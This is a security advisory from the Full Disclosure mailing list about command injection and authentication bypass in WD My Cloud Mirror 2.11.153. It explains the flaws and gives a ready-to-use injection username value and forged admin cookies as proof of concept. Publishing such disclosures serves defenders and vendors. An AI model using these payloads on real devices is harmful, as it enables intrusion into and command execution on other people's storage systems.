# Exploit Title: WD My Cloud Mirror 2.11.153 RCE and Authentication Bypass # Date: 24.01.2017 # Software Link: https://www.wdc.com # Exploit Author: Kacper Szurek # Contact: https://twitter.com/KacperSzurek # Website: https://security.szurek.pl/ # Category: local 1. Description It’s possible to execute arbitrary commands using login form because `exec()` function is used without `escapeshellarg()`. It's possible to bypass login form because function only check if `$_COOKIE['username']` and `$_COOKIE['isAdmin']` exist. https://security.szurek.pl/wd-my-cloud-mirror-211153-rce-and-authentication-bypass.html 2. Proof of Concept For RCE simply use as username: a" || your_command_to_execute || " For authentication bypass set COOKIES: username=1; isAdmin=1 and then visit for example php/users.php _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
